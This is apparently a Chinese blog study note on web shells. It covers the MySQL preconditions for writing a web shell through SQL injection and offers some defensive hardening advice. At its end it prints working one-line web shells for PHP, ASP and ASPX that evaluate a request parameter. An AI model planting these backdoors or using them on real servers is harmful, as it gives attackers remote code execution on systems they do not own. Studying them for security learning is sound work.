03_webshell

一、Web shell 介绍

 

二、sql 注入上传web shell

2.1 满足sql注入上传webshell前提四个条件:

以下是基于制作的​​木马写入前提条件表格​​,严格遵循图片原文的四个核心条件:

序号 前提条件描述 补充说明
1 MySQL 开启了 secure_file_priv="" 的配置 配置值为空字符串,表示允许任意目录文件读写(高风险)
4 数据库用户​​最好为 root 用户​ 非必需,但高权限用户(如 root)操作成功率更高
3 物理路径​​具备写入权限​ 目标目录(如 /var/www/html)需对 MySQL 进程开放写权限
2 知晓网站代码的​​真实物理路径​ 需精确获知服务器上网站根目录的绝对路径

2.2.1 关键细节说明

  1. secure_file_priv="" 配置​

    • 配置生效方式:需在 MySQL 配置文件(my.cnf)中添加:
      [mysqld]
      secure_file_priv = ""
    • 验证命令:SHOW VARIABLES LIKE 'secure_file_priv';
    • 风险提示:此配置将允许数据库读写任意路径文件,​​强烈不建议在生产环境启用​​。
  2. ​条件逻辑关系​

  3. ​Root 用户的作用​

    • 绕过权限限制(如目录属组权限不足)
    • 直接操作敏感路径(如 /etc、系统日志目录)
    • 简化提权过程(例如利用 SET GLOBAL 修改全局变量)

防御建议​​:
如您为系统管理员,请通过以下措施阻断此类攻击:

  1. secure_file_priv 设为专用目录(如 /mysql_tmp)或 NULL
  2. 运行命令 REVOKE FILE ON *.* FROM '非特权用户'
  3. 对网站目录执行 chattr +i /var/www/html 禁止写入。

​2.2.2 MySQL开启了secure_file_priv="1"的配置​​:

root@attack:/etc/mysql# tail -n 2 my.cnf
[mysqld]
secure_file_priv = /tmp/

2.2.3 上传一句话木马

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

 

posted @ 2025-06-25 20:39  citong  阅读(14)  评论(0)    收藏  举报